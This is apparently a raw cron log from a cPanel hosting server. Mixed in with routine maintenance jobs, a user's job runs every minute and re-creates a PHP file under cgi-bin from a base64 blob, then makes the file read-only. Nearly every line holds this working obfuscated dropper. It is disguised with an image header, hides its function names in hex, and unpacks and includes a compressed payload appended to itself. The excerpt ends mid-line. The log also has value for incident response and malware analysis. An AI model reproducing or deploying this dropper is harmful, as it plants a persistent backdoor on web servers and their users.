"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:05:01 server CROND[31047]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 04:05:01 server CROND[31048]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 04:05:01 server CROND[31049]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:05:01 server CROND[31050]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 04:06:01 server CROND[31185]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:07:01 server CROND[31240]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:08:01 server CROND[31386]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:09:01 server CROND[31513]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:09:01 server CROND[31514]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 04:10:01 server CROND[31589]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 04:10:01 server CROND[31590]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 04:10:01 server CROND[31588]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 04:10:01 server CROND[31591]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:11:01 server CROND[31713]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:12:01 server CROND[31766]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 04:12:01 server CROND[31767]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:13:01 server CROND[31973]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:14:01 server CROND[32042]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:15:01 server CROND[32106]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 04:15:01 server CROND[32107]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 10 04:15:01 server CROND[32108]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 04:15:01 server CROND[32109]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:16:01 server CROND[32222]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:17:01 server CROND[32281]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCj